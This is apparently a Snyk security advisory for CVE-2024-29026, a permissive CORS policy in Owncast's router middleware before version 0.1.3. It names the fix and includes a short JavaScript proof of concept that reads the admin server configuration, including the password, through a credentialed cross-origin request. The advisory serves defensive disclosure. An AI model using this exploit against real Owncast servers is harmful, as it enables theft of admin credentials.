Permissive Cross-domain Policy with Untrusted Domains Affecting github.com/owncast/owncast/router/middleware package, versions <0.1.3
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-GOLANG-GITHUBCOMOWNCASTOWNCASTROUTERMIDDLEWARE-6474588
- published21 Mar 2024
- disclosed20 Mar 2024
- creditKevin Stubbings
Introduced: 20 Mar 2024
CVE-2024-29026 (opens in a new tab)How to fix?
Upgrade github.com/owncast/owncast/router/middleware to version 0.1.3 or higher.
Overview
Affected versions of this package are vulnerable to Permissive Cross-domain Policy with Untrusted Domains due to a lenient CORS policy that allows attackers to make a cross-origin request, reading privileged information. This can be used to leak the admin password.
PoC
<html>
<body>
<script>
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText);
}
}
xhr.open('GET', 'http://owncast.domain/api/admin/serverconfig', true);
xhr.withCredentials = true;
xhr.send(null);
</script>
</body>
</html>